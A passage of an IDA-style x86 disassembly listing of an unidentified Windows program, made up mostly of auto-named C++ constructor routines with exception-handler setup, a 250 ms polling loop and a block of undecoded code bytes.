; =============== S U B	R O U T	I N E =======================================



sub_417AE0	proc near		; CODE XREF: sub_401DEDj
		add	ecx, 4
		jmp	sub_401023
sub_417AE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B00	proc near		; CODE XREF: sub_401FF5j
		add	ecx, 4
		jmp	sub_401023
sub_417B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B20	proc near		; CODE XREF: sub_401EE2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BC0	proc near		; CODE XREF: sub_40157Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417BC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417BC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C60	proc near		; CODE XREF: sub_401645j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D30	proc near		; CODE XREF: sub_401776j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401749
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417DF0	proc near		; CODE XREF: sub_401820j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E050
		mov	eax, esi
		pop	esi
		retn
sub_417DF0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E20	proc near		; CODE XREF: sub_4016B3j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E05C
		mov	eax, esi
		pop	esi
		retn
sub_417E20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E50	proc near		; CODE XREF: sub_401415j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F10	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F10	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417FD0	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417FD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417FD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418050	proc near		; CODE XREF: sub_401D11j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	nullsub_10
		mov	eax, esi
		pop	esi
		retn
sub_418050	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418080	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418080	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418100	proc near		; CODE XREF: sub_401A7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418100
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418100	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418180	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E09C
		mov	eax, esi
		pop	esi
		retn
sub_418180	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4181B0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4181B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4181B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418230	proc near		; CODE XREF: sub_401573j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A4
		mov	eax, esi
		pop	esi
		retn
sub_418230	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418260	proc near		; CODE XREF: sub_40178Fj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A8
		mov	eax, esi
		pop	esi
		retn
sub_418260	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418290	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418330	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_50F8D0
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418348:				; CODE XREF: sub_418330+E4j
		test	bl, bl
		jnz	loc_41841E
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41835E
		mov	bl, 1
		jmp	short loc_418372
; ---------------------------------------------------------------------------


loc_41835E:				; CODE XREF: sub_418330+28j
		lea	ecx, [esi+15Fh]
		call	sub_40185C
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418379


loc_418372:				; CODE XREF: sub_418330+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418379:				; CODE XREF: sub_418330+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402086
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F4B
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jz	short loc_4183FE


loc_4183B4:				; CODE XREF: sub_418330+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	ecx, [eax]
		call	sub_401744
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4183DB
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_4183DB:				; CODE XREF: sub_418330+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jnz	short loc_4183B4


loc_4183FE:				; CODE XREF: sub_418330+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418348
		test	bl, bl
		jz	short loc_41842B


loc_41841E:				; CODE XREF: sub_418330+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41842B:				; CODE XREF: sub_418330+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_418330	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418490	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418490
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E6ECB
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_4184D0
		push	eax
		jmp	short loc_4184D5
; ---------------------------------------------------------------------------


loc_4184D0:				; CODE XREF: sub_418490+3Bj
		push	offset byte_446F60


loc_4184D5:				; CODE XREF: sub_418490+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015D7
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4184EE
		push	edi
		jmp	short loc_4184F3
; ---------------------------------------------------------------------------


loc_4184EE:				; CODE XREF: sub_418490+59j
		push	offset byte_446F60


loc_4184F3:				; CODE XREF: sub_418490+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015D7
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418490	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE945CE8h
		dd 244C8DFFh, 2685128h,	90000002h, 69E120E8h, 8F88E871h
		dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh
		dd 680050F8h, 3E8h, 0CF8BD3FFh,	0FE8CB3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh,	868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh
		dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh
		dd 90006A08h, 82185DE8h, 98C6E877h, 8E8DFFFEh, 168h, 0FE91B3E8h
		dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh
		dd 8F2478Eh, 8D52E800h,	8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh
		dd 9FA138Eh, 9046E800h,	8E8DFFFEh, 8F3A2h, 0FE9B26E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h
		dd 9FC428Eh, 9889E800h,	0CF8BFFFEh, 0FE896EE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h
		dd 9FAD38Eh, 9802E800h,	8E8DFFFEh, 9FB93h, 0FE925CE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h
		dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh
		dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 90FFFE93h,	69BCE3E8h
		dd 42468A71h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418840:				; CODE XREF: ___:00402202j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418860:				; CODE XREF: ___:00401EC4j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401767
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418890	proc near		; CODE XREF: sub_401B09j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021BC
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40142E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4020E5
sub_418890	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418900	proc near		; CODE XREF: sub_401AFAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_418900	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418940	proc near		; CODE XREF: sub_4021DAj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40205E
sub_418940	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189B0	proc near		; CODE XREF: sub_401F4Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_4189B0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189F0	proc near		; CODE XREF: sub_401311j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_4189F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A20	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		pop	esi
		add	esp, 0Ch
		retn
sub_418A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A70	proc near		; CODE XREF: sub_402086j
		push	esi
		mov	esi, ecx
		call	sub_401528
		mov	eax, esi
		pop	esi
		retn
sub_418A70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A90	proc near		; CODE XREF: sub_402211j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418A90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AB0	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418AB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AE0	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40221B
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418AE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B10	proc near		; CODE XREF: sub_40142Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jz	short loc_418B6A


loc_418B28:				; CODE XREF: sub_418B10+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jnz	short loc_418B28
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418B6A:				; CODE XREF: sub_418B10+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418B10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418BA0	proc near		; CODE XREF: sub_4020E5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D57
sub_418BA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BC0	proc near		; CODE XREF: sub_401550j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jz	short loc_418C1A


loc_418BD8:				; CODE XREF: sub_418BC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
